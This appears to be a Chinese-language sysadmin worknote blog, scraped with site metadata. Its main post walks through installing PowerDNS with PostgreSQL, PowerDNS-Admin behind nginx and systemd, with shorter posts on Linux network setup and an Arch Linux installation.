/etc/powerdns/pdns.d/gpgsql.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 # See https://doc.powerdns.com/authoritative/backends/generic-postgresql.html launch+=gpgsql ################################# # gpgsql-dbname Backend database name to connect to # # gpgsql-dbname= gpgsql-dbname=pdnsdb ################################# # gpgsql-dnssec Enable DNSSEC processing # # gpgsql-dnssec=no gpgsql-dnssec=yes ################################# # gpgsql-extra-connection-parameters Extra parameters to add to connection string # # gpgsql-extra-connection-parameters= ################################# # gpgsql-host Database backend host to connect to # # gpgsql-host= gpgsql-host=127.0.0.1 ################################# # gpgsql-password Database backend password to connect with # # gpgsql-password= gpgsql-password=pdnsPassword ################################# # gpgsql-port Database backend port to connect to # # gpgsql-port= gpgsql-port=5432 ################################# # gpgsql-prepared-statements Use prepared statements instead of parameterized queries # # gpgsql-prepared-statements=yes ################################# # gpgsql-user Database backend user to connect as # # gpgsql-user= gpgsql-user=pdns 1 systemctl enable pdns ; systemctl restart pdns 設定 log # 編輯 system daemon\n1 systemctl edit --full pdns 移除 --disable-syslog --log-timestamp=no\n/etc/rsyslog.d/pdns.conf 1 2 3 local0.info -/var/log/pdns/pdns.info local0.warn -/var/log/pdns/pdns.warn local0.err /var/log/pdns/pdns.err 1 2 3 mkdir -p /var/log/pdns chown pdns:pdns /var/log/pdns systemctl restart pdns rsyslog 安裝 PowerDNS-Admin # 設定資料庫 # 1 2 3 4 CREATE DATABASE pdnsadmindb; CREATE USER pdnsadmin WITH PASSWORD \u0026#39;pdnsPassword\u0026#39;; GRANT CONNECT ON DATABASE pdnsadmindb TO pdnsadmin; ALTER DATABASE pdnsadmindb OWNER TO pdnsadmin; 執行安裝 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 sudo -i # 預先安裝必要套件 apt install -y python3.11-venv python3-psycopg2 libmariadb-dev libsasl2-dev libldap2-dev libssl-dev libxml2-dev libxslt1-dev libxmlsec1-dev libffi-dev pkg-config apt-transport-https virtualenv build-essential python3-venv libpq-dev python3-dev # 安裝NodeJS sudo apt-get install -y ca-certificates curl gnupg sudo mkdir -p /etc/apt/keyrings curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg export NODE_MAJOR=20 echo \u0026#34;deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_$NODE_MAJOR.x nodistro main\u0026#34; | sudo tee /etc/apt/sources.list.d/nodesource.list apt install -y nodejs # 安裝 yarn curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - echo \u0026#34;deb https://dl.yarnpkg.com/debian/ stable main\u0026#34; | sudo tee /etc/apt/sources.list.d/yarn.list sudo apt update sudo apt install -y yarn # 安裝 PowerDNS-Admin wget -O /tmp/PowerDNS-Admin.tar.gz https://github.com/PowerDNS-Admin/PowerDNS-Admin/archive/refs/tags/v0.4.2.tar.gz mkdir -p /opt/web/ tar -zxf /tmp/PowerDNS-Admin.tar.gz -C /opt/web/ ln -s /opt/web/PowerDNS-Admin-0.4.2 /opt/web/powerdns-admin cd /opt/web/powerdns-admin python3 -mvenv ./venv source ./venv/bin/activate pip install --upgrade pip pip install -r requirements.txt 1 cp /opt/web/powerdns-admin/configs/development.py /opt/web/powerdns-admin/configs/production.py 設定文件: /opt/web/powerdns-admin/configs/production.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 import os import urllib.parse basedir = os.path.abspath(os.path.dirname(__file__)) ### BASIC APP CONFIG SALT = \u0026#39;$2b$12$yLUMTIfl21FKJQpTkRQXCu\u0026#39; SECRET_KEY = \u0026#39;e951e5a1f4b94151b360f47edf596dd2\u0026#39; BIND_ADDRESS = \u0026#39;0.0.0.0\u0026#39; PORT = 9191 SERVER_EXTERNAL_SSL = os.getenv(\u0026#39;SERVER_EXTERNAL_SSL\u0026#39;, None) ### DATABASE CONFIG SQLA_DB_USER = \u0026#39;pdnsadmin\u0026#39; SQLA_DB_PASSWORD = \u0026#39;pdnsPassword\u0026#39; SQLA_DB_HOST = \u0026#39;127.0.0.1\u0026#39; SQLA_DB_NAME = \u0026#39;pdnsadmindb\u0026#39; SQLALCHEMY_TRACK_MODIFICATIONS = True SQLA_DB_PORT = 5432 #CAPTCHA Config CAPTCHA_ENABLE = True CAPTCHA_LENGTH = 6 CAPTCHA_WIDTH = 160 CAPTCHA_HEIGHT = 60 CAPTCHA_SESSION_KEY = \u0026#39;captcha_image\u0026#39; #Server side sessions tracking #Set to TRUE for CAPTCHA, or enable another stateful session tracking system SESSION_TYPE = \u0026#39;sqlalchemy\u0026#39; ### DATABASE - MySQL ## Don\u0026#39;t forget to uncomment the import in the top #SQLALCHEMY_DATABASE_URI = \u0026#39;mysql://{}:{}@{}/{}\u0026#39;.format( # urllib.parse.quote_plus(SQLA_DB_USER), # urllib.parse.quote_plus(SQLA_DB_PASSWORD), # SQLA_DB_HOST, # SQLA_DB_NAME #) ### DATABASE - PostgreSQL ## Don\u0026#39;t forget to uncomment the import in the top SQLALCHEMY_DATABASE_URI = \u0026#39;postgresql://{}:{}@{}:{}/{}\u0026#39;.format( urllib.parse.quote_plus(SQLA_DB_USER), urllib.parse.quote_plus(SQLA_DB_PASSWORD), SQLA_DB_HOST, SQLA_DB_PORT, SQLA_DB_NAME ) ### DATABASE - SQLite # SQLALCHEMY_DATABASE_URI = \u0026#39;sqlite:///\u0026#39; + os.path.join(basedir, \u0026#39;pdns.db\u0026#39;) ### SMTP config # MAIL_SERVER = \u0026#39;localhost\u0026#39; # MAIL_PORT = 25 # MAIL_DEBUG = False # MAIL_USE_TLS = False # MAIL_USE_SSL = False # MAIL_USERNAME = None # MAIL_PASSWORD = None # MAIL_DEFAULT_SENDER = (\u0026#39;PowerDNS-Admin\u0026#39;, \u0026#39;noreply@domain.ltd\u0026#39;) # SAML Authnetication SAML_ENABLED = False # SAML_DEBUG = True # SAML_PATH = os.path.join(os.path.dirname(__file__), \u0026#39;saml\u0026#39;) # ##Example for ADFS Metadata-URL # SAML_METADATA_URL = \u0026#39;https://\u0026lt;hostname\u0026gt;/FederationMetadata/2007-06/FederationMetadata.xml\u0026#39; # #Cache Lifetime in Seconds # SAML_METADATA_CACHE_LIFETIME = 1 # # SAML SSO binding format to use # ## Default: library default (urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect) # #SAML_IDP_SSO_BINDING = \u0026#39;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\u0026#39; # ## EntityID of the IdP to use. Only needed if more than one IdP is # ## in the SAML_METADATA_URL # ### Default: First (only) IdP in the SAML_METADATA_URL # ### Example: https://idp.example.edu/idp # #SAML_IDP_ENTITY_ID = \u0026#39;https://idp.example.edu/idp\u0026#39; # ## NameID format to request # ### Default: The SAML NameID Format in the metadata if present, # ### otherwise urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified # ### Example: urn:oid:0.9.2342.19200300.100.1.1 # #SAML_NAMEID_FORMAT = \u0026#39;urn:oid:0.9.2342.19200300.100.1.1\u0026#39; # Following parameter defines RequestedAttributes section in SAML metadata # since certain iDPs require explicit attribute request. If not provided section # will not be available in metadata. # # Possible attributes: # name (mandatory), nameFormat, isRequired, friendlyName # # NOTE: This parameter requires to be entered in valid JSON format as displayed below # and multiple attributes can given # # Following example: # # SAML_SP_REQUESTED_ATTRIBUTES = \u0026#39;[ \\ # {\u0026#34;name\u0026#34;: \u0026#34;urn:oid:0.9.2342.19200300.100.1.3\u0026#34;, \u0026#34;nameFormat\u0026#34;: \u0026#34;urn:oasis:names:tc:SAML:2.0:attrname-format:uri\u0026#34;, \u0026#34;isRequired\u0026#34;: true, \u0026#34;friendlyName\u0026#34;: \u0026#34;email\u0026#34;}, \\ # {\u0026#34;name\u0026#34;: \u0026#34;mail\u0026#34;, \u0026#34;isRequired\u0026#34;: false, \u0026#34;friendlyName\u0026#34;: \u0026#34;test-field\u0026#34;} \\ # ]\u0026#39; # # produces following metadata section: # \u0026lt;md:AttributeConsumingService index=\u0026#34;1\u0026#34;\u0026gt; # \u0026lt;md:RequestedAttribute Name=\u0026#34;urn:oid:0.9.2342.19200300.100.1.3\u0026#34; NameFormat=\u0026#34;urn:oasis:names:tc:SAML:2.0:attrname-format:uri\u0026#34; FriendlyName=\u0026#34;email\u0026#34; isRequired=\u0026#34;true\u0026#34;/\u0026gt; # \u0026lt;md:RequestedAttribute Name=\u0026#34;mail\u0026#34; FriendlyName=\u0026#34;test-field\u0026#34;/\u0026gt; # \u0026lt;/md:AttributeConsumingService\u0026gt; # ## Attribute to use for Email address # ### Default: email # ### Example: urn:oid:0.9.2342.19200300.100.1.3 # #SAML_ATTRIBUTE_EMAIL = \u0026#39;urn:oid:0.9.2342.19200300.100.1.3\u0026#39; # ## Attribute to use for Given name # ### Default: givenname # ### Example: urn:oid:2.5.4.42 # #SAML_ATTRIBUTE_GIVENNAME = \u0026#39;urn:oid:2.5.4.42\u0026#39; # ## Attribute to use for Surname # ### Default: surname # ### Example: urn:oid:2.5.4.4 # #SAML_ATTRIBUTE_SURNAME = \u0026#39;urn:oid:2.5.4.4\u0026#39; # ## Attribute to use for username # ### Default: Use NameID instead # ### Example: urn:oid:0.9.2342.19200300.100.1.1 # #SAML_ATTRIBUTE_USERNAME = \u0026#39;urn:oid:0.9.2342.19200300.100.1.1\u0026#39; # ## Attribute to get admin status from # ### Default: Don\u0026#39;t control admin with SAML attribute # ### Example: https://example.edu/pdns-admin # ### If set, look for the value \u0026#39;true\u0026#39; to set a user as an administrator # ### If not included in assertion, or set to something other than \u0026#39;true\u0026#39;, # ### the user is set as a non-administrator user. # #SAML_ATTRIBUTE_ADMIN = \u0026#39;https://example.edu/pdns-admin\u0026#39; ## Attribute to get admin status for groups with the IdP # ### Default: Don\u0026#39;t set administrator group with SAML attributes #SAML_GROUP_ADMIN_NAME = \u0026#39;GroupName\u0026#39; ## Attribute to get operator status for groups with the IdP # ### Default: Don\u0026#39;t set operator group with SAML attributes #SAML_GROUP_OPERATOR_NAME = \u0026#39;GroupName\u0026#39; # ## Attribute to get account names from # ### Default: Don\u0026#39;t control accounts with SAML attribute # ### If set, the user will be added and removed from accounts to match # ### what\u0026#39;s in the login assertion. Accounts that don\u0026#39;t exist will # ### be created and the user added to them. # SAML_ATTRIBUTE_ACCOUNT = \u0026#39;https://example.edu/pdns-account\u0026#39; # ## Attribute name that aggregates group names # ### Default: Don\u0026#39;t collect IdP groups from SAML group attributes # ### In Okta, you can assign administrators by group using \u0026#34;Group Attribute Statements.\u0026#34; # ### In this case, the SAML_ATTRIBUTE_GROUP will be the attribute name for a collection of # ### groups passed in the SAML assertion. From there, you can specify a SAML_GROUP_ADMIN_NAME. # ### If the user is a member of this group, and that group name is included in the collection, # ### the user will be set as an administrator. # #SAML_ATTRIBUTE_GROUP = \u0026#39;https://example.edu/pdns-groups\u0026#39; # #SAML_GROUP_ADMIN_NAME = \u0026#39;PowerDNSAdmin-Administrators\u0026#39; # SAML_SP_ENTITY_ID = \u0026#39;http://\u0026lt;SAML SP Entity ID\u0026gt;\u0026#39; # SAML_SP_CONTACT_NAME = \u0026#39;\u0026lt;contact name\u0026gt;\u0026#39; # SAML_SP_CONTACT_MAIL = \u0026#39;\u0026lt;contact mail\u0026gt;\u0026#39; # Configures the path to certificate file and it\u0026#39;s respective private key file # This pair is used for signing metadata, encrypting tokens and all other signing/encryption # tasks during communication between iDP and SP # NOTE: if this two parameters aren\u0026#39;t explicitly provided, self-signed certificate-key pair # will be generated in \u0026#34;PowerDNS-Admin\u0026#34; root directory # ########################################################################################### # CAUTION: For production use, usage of self-signed certificates it\u0026#39;s highly discouraged. # Use certificates from trusted CA instead # ########################################################################################### # SAML_CERT = \u0026#39;/etc/pki/powerdns-admin/cert.crt\u0026#39; # SAML_KEY = \u0026#39;/etc/pki/powerdns-admin/key.pem\u0026#39; # Configures if SAML tokens should be encrypted. # SAML_SIGN_REQUEST = False # #Use SAML standard logout mechanism retreived from idp metadata # #If configured false don\u0026#39;t care about SAML session on logout. # #Logout from PowerDNS-Admin only and keep SAML session authenticated. # SAML_LOGOUT = False # #Configure to redirect to a different url then PowerDNS-Admin login after SAML logout # #for example redirect to google.com after successful saml logout # #SAML_LOGOUT_URL = \u0026#39;https://google.com\u0026#39; # #SAML_ASSERTION_ENCRYPTED = True # Some IdPs, like Okta, do not return Attribute Statements by default # Set the following to False if you are using Okta and not manually configuring Attribute Statements # #SAML_WANT_ATTRIBUTE_STATEMENT = True # Remote authentication settings # Whether to enable remote user authentication or not # Defaults to False # REMOTE_USER_ENABLED=True # If set, users will be redirected to this location on logout # Ignore or set to None to avoid redirecting altogether # Warning: if REMOTE_USER environment variable is still set after logging out and not cleared by # some external module, not defining a custom logout URL might trigger a loop # that will just log the user back in right after logging out # REMOTE_USER_LOGOUT_URL=https://my.sso.com/cas/logout # An optional list of remote authentication tied cookies to be removed upon logout # REMOTE_USER_COOKIES=[\u0026#39;MOD_AUTH_CAS\u0026#39;, \u0026#39;MOD_AUTH_CAS_S\u0026#39;] 1 2 3 export FLASK_CONF=../configs/production.py export FLASK_APP=powerdnsadmin/__init__.py flask db upgrade 操作結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 (venv) root@pl-dns-01:/opt/web/powerdns-admin# export FLASK_CONF=../configs/production.py (venv) root@pl-dns-01:/opt/web/powerdns-admin# export FLASK_APP=powerdnsadmin/__init__.py (venv) root@pl-dns-01:/opt/web/powerdns-admin# flask db upgrade INFO [alembic.runtime.migration] Context impl PostgresqlImpl. INFO [alembic.runtime.migration] Will assume transactional DDL. INFO [alembic.runtime.migration] Running upgrade -\u0026gt; 787bdba9e147, Init DB INFO [alembic.runtime.migration] Running upgrade 787bdba9e147 -\u0026gt; 59729e468045, Add view column to setting table INFO [alembic.runtime.migration] Running upgrade 59729e468045 -\u0026gt; 1274ed462010, Change setting.value data type INFO [alembic.runtime.migration] Running upgrade 1274ed462010 -\u0026gt; 4a666113c7bb, Adding Operator Role INFO [alembic.runtime.migration] Running upgrade 4a666113c7bb -\u0026gt; 31a4ed468b18, Remove all setting in the DB INFO [alembic.runtime.migration] Running upgrade 31a4ed468b18 -\u0026gt; 654298797277, Upgrade DB Schema INFO [alembic.runtime.migration] Running upgrade 654298797277 -\u0026gt; 0fb6d23a4863, Remove user avatar INFO [alembic.runtime.migration] Running upgrade 0fb6d23a4863 -\u0026gt; 856bb94b7040, Add comment column in domain template record table INFO [alembic.runtime.migration] Running upgrade 856bb94b7040 -\u0026gt; b0fea72a3f20, Update domain serial columns type INFO [alembic.runtime.migration] Running upgrade b0fea72a3f20 -\u0026gt; 3f76448bb6de, Add user.confirmed column INFO [alembic.runtime.migration] Running upgrade 3f76448bb6de -\u0026gt; 0d3d93f1c2e0, Add domain_id to history table INFO [alembic.runtime.migration] Running upgrade 0d3d93f1c2e0 -\u0026gt; 0967658d9c0d, add apikey account mapping table INFO [alembic.runtime.migration] Running upgrade 0967658d9c0d -\u0026gt; fbc7cf864b24, update history detail quotes INFO [alembic.runtime.migration] Running upgrade fbc7cf864b24 -\u0026gt; 6ea7dc05f496, Fix typo in history detail INFO [alembic.runtime.migration] Running upgrade 6ea7dc05f496 -\u0026gt; f41520e41cee, update domain type length INFO [alembic.runtime.migration] Running upgrade f41520e41cee -\u0026gt; b24bf17725d2, Add unique index to settings table keys 產生資料檔 # 1 2 yarn install --pure-lockfile flask assets build 操作結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 (venv) root@pl-dns-01:/opt/web/powerdns-admin# yarn install --pure-lockfile yarn install v1.22.22 [1/4] Resolving packages... warning Resolution field \u0026#34;@fortawesome/fontawesome-free@6.3.0\u0026#34; is incompatible with requested version \u0026#34;@fortawesome/fontawesome-free@^5.15.4\u0026#34; [2/4] Fetching packages... info There appears to be trouble with your network connection. Retrying... [3/4] Linking dependencies... warning \u0026#34; \u0026gt; bootstrap@4.6.2\u0026#34; has unmet peer dependency \u0026#34;jquery@1.9.1 - 3\u0026#34;. warning \u0026#34; \u0026gt; bootstrap@4.6.2\u0026#34; has unmet peer dependency \u0026#34;popper.js@^1.16.1\u0026#34;. warning \u0026#34;admin-lte \u0026gt; bootstrap-switch@3.3.4\u0026#34; has incorrect peer dependency \u0026#34;bootstrap@^3.1.1\u0026#34;. warning \u0026#34; \u0026gt; jquery-validation@1.19.5\u0026#34; has unmet peer dependency \u0026#34;jquery@^1.7 || ^2.0 || ^3.1\u0026#34;. warning \u0026#34;admin-lte \u0026gt; tempusdominus-bootstrap-4@5.39.2\u0026#34; has unmet peer dependency \u0026#34;moment-timezone@^0.5.31\u0026#34;. warning \u0026#34;admin-lte \u0026gt; tempusdominus-bootstrap-4@5.39.2\u0026#34; has unmet peer dependency \u0026#34;tempusdominus-core@5.19.3\u0026#34;. warning \u0026#34;admin-lte \u0026gt; bootstrap-colorpicker \u0026gt; bootstrap@5.2.3\u0026#34; has unmet peer dependency \u0026#34;@popperjs/core@^2.11.6\u0026#34;. [4/4] Building fresh packages... Done in 29.55s. (venv) root@pl-dns-01:/opt/web/powerdns-admin# flask assets build Building bundle: generated/login.js [2024-12-22 22:51:03,754] [script.py:167] INFO - Building bundle: generated/login.js Building bundle: generated/validation.js [2024-12-22 22:51:03,763] [script.py:167] INFO - Building bundle: generated/validation.js Building bundle: generated/login.css [2024-12-22 22:51:03,765] [script.py:167] INFO - Building bundle: generated/login.css Building bundle: generated/main.js [2024-12-22 22:51:03,812] [script.py:167] INFO - Building bundle: generated/main.js Building bundle: generated/main.css [2024-12-22 22:51:03,857] [script.py:167] INFO - Building bundle: generated/main.css (venv) root@pl-dns-01:/opt/web/powerdns-admin# 記下當前版本 PowerDNS 當前版本，等等設定會使用到\n1 sudo pdns_control version 試營運\n1 ./run.py URL: http://192.168.56.100:9191/login\n預設使沒有登入帳號的，需要先註冊一個帳號 離開 Python 虛擬環境\n1 deactivate 建立 system-daemon # /etc/systemd/system/powerdns-admin.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [Unit] Description=PowerDNS-Admin Requires=powerdns-admin.socket After=network.target [Service] Environment=\u0026#34;FLASK_CONF=../configs/production.py\u0026#34; PIDFile=/run/powerdns-admin/pid User=pdns Group=pdns WorkingDirectory=/opt/web/powerdns-admin ExecStart=/opt/web/powerdns-admin/venv/bin/gunicorn --pid /run/powerdns-admin/pid --bind unix:/run/powerdns-admin/socket \u0026#39;powerdnsadmin:create_app()\u0026#39; ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s TERM $MAINPID PrivateTmp=true [Install] WantedBy=multi-user.target /etc/systemd/system/powerdns-admin.socket 1 2 3 4 5 6 7 8 [Unit] Description=PowerDNS-Admin socket [Socket] ListenStream=/run/powerdns-admin/socket [Install] WantedBy=sockets.target /etc/tmpfiles.d/powerdns-admin.conf 1 d /run/powerdns-admin 0755 pdns pdns - 1 2 3 4 sudo systemctl daemon-reload \u0026amp;\u0026amp; sudo systemctl start powerdns-admin.socket \u0026amp;\u0026amp; sudo systemctl enable powerdns-admin.socket sudo chown -R pdns:pdns /run/powerdns-admin sudo chown -R pdns:pdns /opt/web/PowerDNS-Admin-0.4.2 sudo systemctl restart powerdns-admin 安裝 nginx # 1 apt install nginx /etc/nginx/conf.d/http.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 server { listen *:80; server_name 192.168.56.100; index index.html index.htm index.php; root /opt/web/powerdns-admin; access_log /var/log/nginx/powerdns-admin.local.access.log combined; error_log /var/log/nginx/powerdns-admin.local.error.log; client_max_body_size 10m; client_body_buffer_size 128k; proxy_redirect off; proxy_connect_timeout 90; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffers 32 4k; proxy_buffer_size 8k; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_headers_hash_bucket_size 64; location ~ ^/static/ { include /etc/nginx/mime.types; root /opt/web/powerdns-admin/powerdnsadmin; location ~* \\.(jpg|jpeg|png|gif)$ { expires 365d; } location ~* ^.+.(css|js)$ { expires 7d; } } location / { proxy_pass http://unix:/run/powerdns-admin/socket; proxy_read_timeout 120; proxy_connect_timeout 120; proxy_redirect off; } } 測試 # 1 2 dig @172.30.1.101 pl-dns-01.home.pollochang.work A nslookup pl-dns-01.home.pollochang.work 172.30.1.101 參考資料 # PowerDNS 架設 - Debian Installing Yarn on Debian 10 ","date":"August 9, 2024","externalUrl":null,"permalink":"/worknot/pdns-server/","section":"Worknots","summary":"以下是我初次建立 powerdns 服務的紀錄\n環境 # OS: Debian 12 DB: postgresql-14 pdns-server version: 4.7 1 apt install pdns-server pdns-backend-pgsql -y 事前準備 # 安裝 postgresql 建立資料庫 1 2 sudo su - postgres psql 1 2 3 4 CREATE DATABASE pdnsdb; CREATE USER pdns WITH PASSWORD 'pdnsPassword'; GRANT CONNECT ON DATABASE pdnsdb TO pdns; ALTER DATABASE pdnsdb OWNER TO pdns; 建置 table schema，可以在說明文件中找到: /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql\n","title":"pdns-server 安裝","type":"worknot"},{"content":"","date":"August 9, 2024","externalUrl":null,"permalink":"/tags/powerdns/","section":"Tags","summary":"","title":"Powerdns","type":"tags"},{"content":" 設定網路 # 啟動網卡 # 1 sudo ip link set eth0 up 透過 DHCP 取得IP # 1 sudo dhclient eth0 安裝 NetworkManager # Debian 1 2 3 sudo apt install network-manager sudo systemctl start NetworkManager sudo systemctl enable NetworkManager ","date":"August 5, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240805-1/","section":"Worknots","summary":"設定網路 # 啟動網卡 # 1 sudo ip link set eth0 up 透過 DHCP 取得IP # 1 sudo dhclient eth0 安裝 NetworkManager # Debian 1 2 3 sudo apt install network-manager sudo systemctl start NetworkManager sudo systemctl enable NetworkManager ","title":"linux 設定網路","type":"worknot"},{"content":"","date":"August 2, 2024","externalUrl":null,"permalink":"/tags/arch-linux/","section":"Tags","summary":"","title":"Arch Linux","type":"tags"},{"content":" 環境 # KVM CPU: 2 core RAM: 2G 環境調查事項 # 開機方式: bios_grub or UEFI 環境規劃 # 硬碟 # swap: 4G bios_grub: 1M /boot: 1GB 下載 # 1 wget https://linux.cs.nctu.edu.tw/archlinux/iso/2024.08.01/archlinux-2024.08.01-x86_64.iso 安裝 SOP # 選擇鏡像站\n可以從這裡選擇較進的鏡像站: https://archlinux.org/mirrorlist/\n/etc/pacman.d/mirrorlist 1 Server = http://archlinux.cs.nycu.edu.tw/$repo/os/$arch 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 # 檢查網路 ping -c 3 8.8.8.8 # 檢查是否為UEFI模式開機 cat /sys/firmware/efi/fw_platform_size # 分割硬碟 fdisk -l # Create a GPT partition table: # parted /dev/nvme0n1 mklabel gpt # parted /dev/nvme0n1 # mkpart primary 1MiB 2MiB # set 1 bios_grub on # mkpart primary 2MiB 100% # ctrl + D gdisk /dev/nvme0n1 # /dev/sda1 -\u0026gt; 1M (boot) 1G (efi_system_partition) # /dev/sda2 -\u0026gt; 4G (swap) # /dev/sda3 -\u0026gt; (/) # 檢查結果 fdisk -l mkfs.fat -F 32 /dev/efi_system_partition mkfs.ext4 /dev/sd(磁碟編號)(分割區編號) # SWAP mkswap /dev/sda2 swapon /dev/sda2 # 設定時間 timedatectl set-ntp true mount /dev/sda3 /mnt # 初始化根目錄 pacstrap /mnt base base-devel linux-lts # Wi-Fi 硬體 pacstrap /mnt iw dialog wpa_supplicant genfstab -U /mnt \u0026gt; /mnt/etc/fstab # 進入基礎系統 arch-chroot /mnt # 安裝 linux 穩定版 sudo pacman -S linux-lts # 安裝 Intel 的微碼 sudo pacman -S intel-ucode # 安裝 AMD 的微碼 sudo pacman -S linux-firmware # 安裝基本套件 pacman -S vim grub openssh firewalld neofetch networkmanager # 設定時區 ln -sf /usr/share/zoneinfo/Asia/Taiwan /etc/localtime # 將系統時間設定為 UTC hwclock -w --utc # 語系設定 vim /etc/locale.gen # en_US.UTF-8 # zh_TW.UTF-8 # zh_TW.BIG5 locale-gen vim /etc/locale.conf # LANG=en_US.UTF-8 # LANGUAGE=en_US # 主機名稱 echo \u0026#34;pollo-latitude-5310\u0026#34; \u0026gt;/etc/hostname ## 主機帳號 useradd -m -s /bin/bash -u 1000 pollochang gpasswd -a pollochang wheel passwd pollochang visudo # %wheel ALL=(ALL) ALL 取消註解 # BIOS + MBR grub-install /dev/vda --recheck grub-mkconfig -o /boot/grub/grub.cfg # efi pacman -Sy grub efibootmgr dosfstools mkdir -p /boot/efi mount /dev/nvme0n1p1 /boot/efi grub-install --target=x86_64-efi --efi-directory=/boot/efi --boot-directory=/boot --bootloader-id=archgrub --recheck # Installing for x86_64-efi platform. # Installation finished. No error reported. # grub-mkconfig -o /boot/grub/grub.cfg # Generating grub configuration file ... # Found linux image: /boot/vmlinuz-linux-lts # Found initrd image: /boot/intel-ucode.img /boot/initramfs-linux-lts.img # Found fallback initrd image(s) in /boot: intel-ucode.img initramfs-linux-lts-fallback.img # Warning: os-prober will not be executed to detect other bootable partitions. # Systems on them will not be added to the GRUB boot configuration. # Check GRUB_DISABLE_OS_PROBER documentation entry. # Adding boot menu entry for UEFI Firmware Settings ... # done systemctl enable sshd systemctl enable firewalld systemctl enable NetworkManager sudo firewall-cmd --permanent --zone=public --change-interface=eno2 \u0026amp;\u0026amp;\\ firewall-cmd --reload # 筆電 sudo systemctl enable bluetooth exit reboot 1 2 # 配置系统默認编辑器: /etc/profile export EDITOR=\u0026#39;vim\u0026#39; yay # 1 2 3 4 pacman -S git base-devel git clone https://aur.archlinux.org/yay.git cd yay makepkg -si # 不可以使用 root 常用開發工具 # 1 sudo pacman -S git wget 桌面安裝 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 sudo pacman -Sy xorg sudo pacman -Sy xf86-video-intel # intel 內顯 pacman -S plasma-meta krusader # qt6-multimedia-ffmpeg 選這個 # qt6-multimedia-gstreamer # jack: 專業音樂處理 # pipewire-jack: 通用 # 字體 # 思源字體全系列 sudo pacman -Sy $(pacman -Ssq noto-fonts) # 文泉驛全系列 sudo pacman -Sy $(pacman -Ssq wqy-) sudo systemctl enable sddm # 32 位元支持 sudo vim /etc/pacman.conf # 去掉註解 [multilib] sudo pacman -Syu sudo systemctl disable iwd sudo pacman -Sy gtk3 webkit2gtk git clone https://github.com/bertvandepoel/tabby.git cd tabby make -j $(nproc) \u0026amp;\u0026amp; sudo make install # 遠端桌面 pacman -S xrdp xorgxrdp-glamor pulseaudio-module-xrdp 會有一大堆奇怪的選擇 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [root@archlinux-desktop ~]# pacman -S plasma-meta krusader resolving dependencies... :: There are 2 providers available for qt6-multimedia-backend: :: Repository extra 1) qt6-multimedia-ffmpeg 2) qt6-multimedia-gstreamer Enter a number (default=1): ^C Interrupt signal received [root@archlinux-desktop ~]# pacman -S plasma-meta krusader resolving dependencies... :: There are 2 providers available for qt6-multimedia-backend: :: Repository extra 1) qt6-multimedia-ffmpeg 2) qt6-multimedia-gstreamer Enter a number (default=1): 1 :: There are 2 providers available for jack: :: Repository extra 1) jack2 2) pipewire-jack Enter a number (default=1): 2 :: There are 10 providers available for ttf-font: :: Repository extra 1) gnu-free-fonts 2) noto-fonts 3) ttf-bitstream-vera 4) ttf-croscore 5) ttf-dejavu 6) ttf-droid 7) ttf-ibm-plex 8) ttf-input 9) ttf-liberation 10) ttf-mona-sans Enter a number (default=1): 1 :: There are 2 providers available for emoji-font: :: Repository extra 1) noto-fonts-emoji 2) ttf-joypixels Enter a number (default=1): 1 遠端桌面 # xrdp + xorg\n1 2 yay -S xrdp sudo pacman -S xorg-server xorg-xinit xorg-apps 1 2 sudo firewall-cmd --permanent --add-port=3389/tcp sudo firewall-cmd --reload ~/.xinitrc 添加你希望啟動的桌面環境。對於 KDE，你可以添加以下行\n1 exec startplasma-x11 1 sudo systemctl enable xrdp --now 